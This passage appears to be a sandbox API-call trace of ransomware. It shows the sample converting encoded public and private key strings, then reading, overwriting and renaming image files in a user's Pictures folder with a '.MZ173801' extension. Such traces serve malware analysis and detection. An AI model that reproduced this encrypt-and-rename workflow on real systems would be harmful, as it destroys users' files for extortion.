lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.371] GetCurrentThreadId () returned 0xab4 [0153.371] GetCurrentThreadId () returned 0xab4 [0153.371] GetCurrentThreadId () returned 0xab4 [0153.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.372] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.372] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.372] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xa70 [0153.372] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.372] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0xa70, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0xa70, lpOverlapped=0x0) returned 1 [0153.373] CloseHandle (hObject=0x294) returned 1 [0153.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.392] WriteFile (in: hFile=0x294, lpBuffer=0x24e5d50*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24e5d50*, lpNumberOfBytesWritten=0x19fa24*=0xa70, lpOverlapped=0x0) returned 1 [0153.393] CloseHandle (hObject=0x294) returned 1 [0153.394] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ThBkp.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\thbkp.jpg.mz173801")) returned 1 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] GetCurrentThreadId () returned 0xab4 [0153.395] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b44330, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x3bb582a0, ftLastAccessTime.dwHighDateTime=0x1d5ed77, ftLastWriteTime.dwLowDateTime=0x3bb582a0, ftLastWriteTime.dwHighDateTime=0x1d5ed77, nFileSizeHigh=0x0, nFileSizeLow=0xacc6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="TNMTkGiMBk1T.png", cAlternateFileName="TNMTKG~1.PNG")) returned 1 [0153.395] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.395] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b44330, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x3bb582a0, ftLastAccessTime.dwHighDateTime=0x1d5ed77, ftLastWriteTime.dwLowDateTime=0x3bb582a0, ftLastWriteTime.dwHighDateTime=0x1d5ed77, nFileSizeHigh=0x0, nFileSizeLow=0xacc6)) returned 1 [0153.395] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png")) returned 0x20 [0153.395] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png", dwFileAttributes=0x80) returned 1 [0153.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.398] GetCurrentThreadId () returned 0xab4 [0153.398] GetCurrentThreadId () returned 0xab4 [0153.398] GetCurrentThreadId () returned 0xab4 [0153.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.399] GetCurrentThreadId () returned 0xab4 [0153.399] GetCurrentThreadId () returned 0xab4 [0153.399] GetCurrentThreadId () returned 0xab4 [0153.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TNMTkGiMBk1T.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tnmtkgimbk1t.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.399] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.399] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.399] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xacc6 [0153.399] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.399] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0xacc6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, 